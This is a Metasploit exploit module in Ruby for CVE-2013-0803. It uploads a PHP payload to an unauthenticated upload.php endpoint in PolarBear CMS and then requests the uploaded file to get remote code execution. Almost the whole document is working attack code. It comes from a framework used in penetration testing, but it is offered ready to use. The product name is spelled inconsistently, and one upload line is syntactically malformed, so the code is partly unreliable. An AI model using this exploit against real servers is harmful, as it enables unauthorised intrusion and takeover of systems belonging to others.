PolarPearCms PHP File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PolarPearCms PHP File Upload Vulnerability',
   'Description'    => %q{
     This module exploits a file upload vulnerability found in PlarPear CMS
    By abusing the upload.php file, a malicious user can upload a file to a temp
    directory without authentication, which results in arbitrary code execution.
   },
   'Author'         =>
    [
     'Fady Mohamed Osman'  # @Fady_Osman
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2013-0803' ]
    ],
   'Payload'      =>
    {
     'BadChars' => "\x00",
    },
   'Platform'       => 'php',
   'Arch'       => ARCH_PHP,
   'Targets'        =>
    [
     [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
     [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 21 2012'))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
    OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
   ], self.class)
 end

 def check
  uri =  target_uri.path

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
  })

  if not res or res.code != 200
   return Exploit::CheckCode::Unknown
  end

  return Exploit::CheckCode::Appears
 end

 def exploit
  uri =  target_uri.path

  upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")

  peer = "#{rhost}:#{rport}"

  @payload_name = "#{rand_text_alpha(5)}.php"
  php_payload = get_write_exec_payload(:unlink_self=>true)

  data = Rex::MIME::Message.new
  data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
  data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"")
  post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  print_status("#{peer} - Uploading payload #{@payload_name}")
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
   'ctype'  => "multipart/form-data; boundary=#{data.bound}",
   'data'   => post_data
  })
  if not res or res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
  end

  upload_uri = "#{upload_dir}#{@payload_name}"
  print_status("#{peer} - Executing payload #{@payload_name}")
  res = send_request_raw({
   'uri'    => upload_uri,
   'method' => 'GET'
  })
 end
end